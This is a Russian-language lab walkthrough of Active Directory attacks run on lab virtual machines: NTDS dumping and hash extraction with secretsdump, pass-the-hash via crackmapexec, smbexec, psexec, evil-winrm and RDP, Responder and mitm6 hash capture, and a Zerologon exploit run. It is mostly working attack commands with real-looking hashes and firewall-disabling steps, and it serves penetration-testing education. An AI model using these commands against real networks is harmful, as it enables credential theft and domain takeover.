# Занятие 6 - Атаки на домен.
## Часть 1. Анализ базы NTDS
Для выполнения данной части практики необходимы виртуальные машины Kali linux и DC1.
### 1.1 Бэкап NTDS
Воспользуемся базовыми средствами Windows для работы с NTDS. Необходимо зайти в командную строку от имени администратора и ввести команды:
> ntdsutil
> activate instance ntds
> bifm
> create full C:\temp
Этот набор команд активирует процесс **Install From Media** позволяющий сделать копию нашего NTDS с необходимыми ветками реестра.
Эти же команды приведены на скриншоте ниже:

### 1.2 Перенос NTDS
Воспользуемся базовыми средствами Kali Linux. С помощью SMB зайдём на сервер Win с Kali:
> smbclient ‘\\192.168.10.201\C$’ -U Administrator@hackeru.local
- где 192.168.10.201 – ip адрес контроллера домена,
- testdomain – имя домена,
- Administrator – имя учетной записи с правами администратора.
- После чего скопируем файлы на Kali:
> recurse ON
> prompt OFF
> lcd /home/user
> mget temp
- где /home/user – домашняя папка пользователя Kali linux
### 1.3 Анализ NTDS
Для анализа дампа для начала нужно скачать impacket. Находясь в домашней директории пользователя, выполните набор команд:
> git clone https://github.com/SecureAuthCorp/impacket
> apt install python3-pip
> cd impacket
> pip install .
У kali должен быть выход в интернет
У четвертой команды в конце точка. Будьте внимательны, это часть команды.
После установки нужно пройти из директории **impacket** в директорию **examples** (она внутри папки импакета) и выполнить следующую команду:
> secretsdump.py -ntds /home/user/temp/Active\ Directory/ntds.dit -system /home/user/temp/registry/SYSTEM LOCAL
- где secretdump.py – исполняемый скрипт,
- ntds.dit – анализируемый инстанс базы данных NTDS,
- registry/SYSTEM – ветка реестра, с помощью которой мы можем прочитать NTDS,
- LOCAL – флаг для скрипта, который говорит, что мы анализируем NTDS локально.
**Внимательно следите за слешами – мы экранируем пробелы обратным слешем.**
В качестве вывода будет примерно следующая картинка:

## Часть 2. Path-the-hash
Для выполнения данной части практики необходимы виртуальные машины Kali linux, win10 и DC1.
Для выполнения атаки вида PtH нам понадобится учетная запись и её хэш пароля. С помощью такой атаки мы можем выполнять любые действия, доступные пользователю, не имея оригинала пароля.
### 2.1 Crackmapexec
Это набор python-скриптов для тестирования Windows окружения. Использует Windows API, поэтому обнаружить довольно сложно.
Самое базовое применение – быстрое сканирование сети и обнаружение хостов, как либо взаимодействующих с протоколом smb:
> crackmapexec smb 192.168.10.0/24
Можно выполнять команды от имени пользователя на удаленной машине посредством командной строки:
> crackmapexec smb 192.168.10.201 -u Administrator -H hash -x whoami
Где hash – это NTLM хэш учетной записи (LM хэш в этом скрипте не используется, в отличие от скрипта smbexec, описанного далее).
Можно посмотреть и список сетевых папок, доступных конкретному пользователю:
> crackmapexec smb 192.168.10.201 -u Administrator -H hash --shares
А ещё в **impacket** есть интересная утилита smbexec, позволяющая запустить cmd windows для удаленной передачи команд, при этом практически не оставляя следов:
> python3 smbexec.py testdomain/administrator@192.168.10.201 -hashes aad3b435b51404eeaad3b435b51404ee:48bf293b3cf68fecde567d7bf30bbbe4
- где testdomain – имя домена,
- administrator – имя пользователя,
- 192.168.10.201 – адрес компьютера-жертвы
- -hashes – спец флаг для использования хэша
последняя длинная фраза – сам хэш в определенном формате
Есть аналог – psexec
> python3 psexec.py domain/username:password@hostIP
> python3 psexec.py domain/username@hostIP -hashes LMHASH:NTHASH
### Загрузить .exe файл.
Загрузить .exe файл с KaliLinux на рабочий стол одного из пользователей win10.
Для загрузки файла с Kali на Win машину нам потребуется для начала скачать легетимную Windows программу из GitHub на машинку Kali [evil-winrm](https://github.com/Hackplayers/evil-winrm "tittle").
> gitclone https://github.com/Hackplayers/evil-winrm
**На Windows машине** в командной строке, необходимо выполнить следующую команду:
> winrm.cmd quickconfig -q
- где **quickconfig -force** - отзначает быструю настройку на прием всех подключений
И команда, которая отключит фаервол на нашей машине:
> netsh advfirewall set allprofiles state off
Для подключения **из Кали** воспользуемся командой:
> evil-winrm -i 192.168.10.21 -u Administrator@hackeru.local -H 7b8e699b994a33446e9f5dea627096fa
- **-i 192.168.10.21** адрес компьютера-жертвы
- **-u Administrator** имя пользователя
- **@hackeru.local** имя домена
- **-H 7b8e699b994a33446e9f5dea627096fa** хэш
Для самой передачи файла необходимо воспользоваться командой:
> upload /home/user/TeamViewerQS.exe
- TeamViewerQS.exe был предварительно скачан с [официального сайта](https://www.teamviewer.com/en/info/quicksupport/ "tittle").
### подключению по RDP с kali на win10
Чтобы подключиться к Windows машине по протоколу RDP необходимо для начала в PowerShell прописать команду, которая поменяет настройки реестра. Без ввода данной команды мы не сможем подключиться по RDP т.к. **по умолчанию** **подключение по RDP разрешено только по логин:пароль, а подключение с помощью хеша(вместо пароля) запрещено**.
> New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force
После чего можно осуществлять подключение с Kali с помощью команды:
> xfreerdp /d:hackeru.local /u:administrator /v:192.168.10.21 /pth:7b8e699b994a33446e9f5dea627096fa
## Часть 3. Атаки на базовые протоколы Windows
Для выполнения данной части практики необходимы виртуальные машины Kali linux, win10 и DC1.
### NBT-NS & LLMNR & mDNS
Важной частью эксплуатации будет **WPAD** – специальный протокол для настройки проксирования в системе Win. Система всегда запрашивает файл с настройками **wpad.dat**, а злоумышленник может подсунуть свой файл, став прокси-серверов для Win и таким образом осуществив атаку “человек посередине”.
**NBT-NS (NetBIOS Name Service)** – протокол, позволяющий компьютерам в локальной сети обращаться друг к другу по именам, не используя сервер DNS.
**LLMNR (Link-Local Multicast Name Resolution)** – протокол для поиска и преобразования базовых имен внутри небольшой сети. Он же – сетевое обнаружение. Использует мультикаст (то есть почти как широковещательный трафик, его в сети смогут увидеть все).
**mDNS (Multicast DNS)** – суть такая же, как и у LLMNR. DNS через Мультикаст.
Все вместе технологии реализуют **Zeroconf**.
Основная уязвимость в этих протоколах – отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам.
```
Например, пользователь PC1 вводит в “проводник” сетевой путь “\\computer-1”.
Если PC1 не знает ничего про этой имя и DNS сервер тоже не может ответить,
то тогда PC1 спрашивает всю локальную сеть следующее: “кто нибудь в курсе,
кто таков “computer-1” и какой у него IP?” Если мы ответим PC1 и скажем,
что наш адрес – это адрес “computer-1”, то PC1 нам поверит.
По итогу получим атаку вида MITM. Для того, чтобы автоматически отвечать на такие запросы, есть инструмент Responder.
Атака не пройдёт, если реальный DNS сервер сможет ответить на DNS запрос компьютера.
```
Работать придется в 2х консолях.
В 1-ой мы включаем режим мониторига, с помощью команды:
> responder -I eth0 -A
Во 2-ой запускаем нашу атаку:
> responder -I eth0 -wFv
- где -I eth0 – выбор интерфейса,
- -w – отравление WPAD,
- -F – попробовать принудить систему использовать старые протоколы аутентификации, если возможно,
- -v – вывод подробной информации (в т.ч. перехваченного хэша).
После чего нам необходимо зайти в Window машину и попробовать перейти по несуществующему адресу доменного сервера, например:
> \\\sdfsgfsdgdfgd
Вернувшись на машину с Kali мы увидим в выводе HASH пользователя(NTLNv2 аутентификацию), которую потом можно брутить через **hashcat** или **John the ripper**. В выводе будет NTLMv2 хэш.
### mitm6
Это еще одна атака, для перехвата хэша.
Атака имитирует DHCPv6 сервер и отправляет на компьютеры в сети параметры IPv6, которые используются в приоритете над IPv4 при отправке компьютеров данных по сети. Соответственно, на ПК отправляется IPv6 адрес DNS и шлюза, который является адресом злоумышленника. По итогу получаем атаку вида MITM.
DHCPv6 сервер отправляет параметры любому запросившему. При осуществлении атаки мы заворачиваем трафик всех устройств на себя, чем парализуем работу домена. Использовать атаку с осторожностью. Даже после завершения атаки настроенные параметры у ПК остаются, приходится ожидать окончания аренды адреса или вручную перезагружать сетевые адаптеры.
[Ссылка на программу](https://github.com/fox-it/mitm6 "tittle") читаем внимательно описание
Установить можно как скачав с гитхаба, так и выполнив следующую команду:
> pip install mitm6
Выполнение атаки:
> mitm6.py -d hackeru.local
- необходимо указывать атакуемый домен
Пока что мы только подменили параметры у win10, обеспечив mitm. Чтобы атака прошла незаметно для пользователя, нужно воспользоваться способом, который позволит нам прикинуться ресурсом, который требует аутентификацию. Воспользуемся SMB.
Создание своего сервера SMB. Не отключая mitm6, во 2-ой консоли создадим SMB сервер:
> smbserver.py -smb2support SMB /root/SMB
После чего зайдем на Win машину и попробуем подключиться к нашему доменному серверу, введя в строке адреса проводника \\dc1
После этих действий мы получим хэш пользователя.
### zerologon
Для начала клонирует с репозитория, хотя в предыдущих занятиях мы уже это делали
> git clone https://github.com/risksense/zerologon
переходим в склонированную папку
> cd zerologon
выполняем команду с нашей первой частью атаки, для подмены хеша на 0
> python3 set_empty_pw.py dc1 192.168.10.21
используя подмененный хеш мы удаленно вытягиваем с сервера хеши пользаков, тоже самое, что уже рассматривалось ранее только с атака производится удаленно
> secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'hackeru/dc1$@192.168.10.21'
После чего сервер перестанет нормально работать, в части авторизации... для того, чтобы это исправить используется команда восстановления старого хеша
> [~/zerologon]
└─# **python3 reinstall_original_pw.py dc1 192.168.10.21 0f19bd2ed041c4137be17271b029ccd9**
- где 0f19bd2ed041c4137be17271b029ccd9 - это наш старый хэш, которые был на прошлых занятиях получен и сохранен в отдельный текстовый файл